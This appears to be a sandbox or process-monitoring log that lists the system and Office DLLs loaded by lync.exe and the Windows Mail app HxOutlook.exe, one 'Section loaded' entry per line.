Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: dxcore.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: slc.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: sppc.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: wbemcomn.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: urlmon.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: iertutil.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: srvcli.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: netutils.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: wininet.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: winhttp.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: amsi.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: mswsock.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: winnsi.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: sppc.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: vaultcli.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: dhcpcsvc.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: windows.web.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: dpapi.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: webio.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: cryptsp.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: rsaenh.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: ntmarta.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: dnsapi.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: rasadhlp.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: sfc.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: sfc_os.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: fwpuclnt.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: ssscreenvvs.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: schannel.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: netapi32.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: dsreg.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: msvcp110_win.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: win32msgqueue.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: wkscli.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: psom.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: msxml6.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: ocimport.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: ocrec.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: mlang.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: usp10.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: windowscodecs.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: firewallapi.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: fwbase.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: fwpolicyiomgr.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: avrt.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: appsharingmediaprovider.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: mskeyprotect.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: ncryptsslp.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: msasn1.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: gpapi.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: wlanapi.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: windows.devices.enumeration.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: structuredquery.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: mswb7.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: windows.globalization.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: bcp47langs.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: bcp47mrm.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: icu.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: devdispitemprovider.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: mfplat.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: rtworkq.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: mf.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: mfcore.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: ksuser.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: mfperfhelper.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: comppkgsup.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: windows.media.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: windows.applicationmodel.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: appxdeploymentclient.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: mfcaptureengine.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: devenum.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: msdmo.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: avicap32.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: msvfw32.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: winsatapi.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: ddores.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: defaultdevicemanager.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: audioses.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: rdpqoemetrics.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: msvcr110.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: activeds.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: adsldpc.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: adsldp.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: sxs.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: logoncli.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: windows.networking.connectivity.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: windows.security.authentication.onlineid.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: xmllite.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: elstrans.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: edputil.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: appresolver.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: slc.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: explorerframe.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: textinputframework.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: coreuicomponents.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: coremessaging.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: coremessaging.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: textshaping.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: globinputhost.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: d3d10_1.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: d3d10_1core.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: dcomp.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: pcacli.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: apphelp.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: microsoft.applications.telemetry.windows.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: msoimm.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: mso40uiimm.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: mso30imm.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: mso20imm.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: office.ui.xaml.core.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: office.ui.xaml.word.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: vccorlib140_app.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: vcruntime140_app.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: msvcp140_app.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: vccorlib140_app.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: msvcp140_app.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: vcruntime140_app.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: vccorlib140_app.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: vcruntime140_app.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: msvcp140_app.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: vcruntime140_app.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: msvcp140_app.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: vcruntime140_app.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: msvcp140_app.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: vcruntime140_app.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: msvcp140_app.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: mso98imm.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: mso98imm.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: mso50imm.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: hxoutlook.model.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: windows.storage.applicationdata.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: twinapi.appcore.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: wintypes.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: hxcomm.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: cryptsp.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: windows.applicationmodel.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: windows.globalization.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: bcp47langs.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: bcp47mrm.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: profapi.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: windows.staterepositorycore.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: windows.networking.connectivity.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: windows.networking.hostname.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: windows.energy.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: rmclient.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: windows.storage.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: wldp.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: propsys.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: rometadata.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: windows.system.diagnostics.telemetry.platformtelemetryclient.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: hxoutlook.view.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: office.ui.xaml.hxshared.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: hxoutlook.viewmodel.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: clipc.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: hxoutlook.resources.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: logoncli.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: windows.ui.xaml.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: coremessaging.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: iertutil.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: dcomp.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: windows.ui.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: windowmanagementapi.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: textinputframework.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: inputhost.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: coreuicomponents.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: coreuicomponents.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: ntmarta.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: uxtheme.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: urlmon.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: srvcli.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: netutils.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: dxgi.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: d3d11.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: mrmcorer.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: d3d10warp.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: windows.staterepositoryclient.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: dxcore.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: d2d1.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: dwrite.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: textshaping.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: windows.shell.servicehostbuilder.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: execmodelproxy.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: uiamanager.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: windows.ui.core.textinput.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: windows.ui.immersive.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: dataexchange.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: cryptbase.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: userenv.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: profext.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: office.ui.xaml.hx.mail.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: threadpoolwinrt.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: windows.graphics.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: twinapi.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: office.ui.xaml.hxcalendar.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: windows.ui.xaml.controls.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: windows.system.remotedesktop.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: winsta.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: directmanipulation.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: windows.system.profile.systemid.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: windows.system.profile.retailinfo.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: msxml6.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: wininet.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: sspicli.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: winhttp.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: mswsock.dll
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Section loaded: iphlpapi.dll
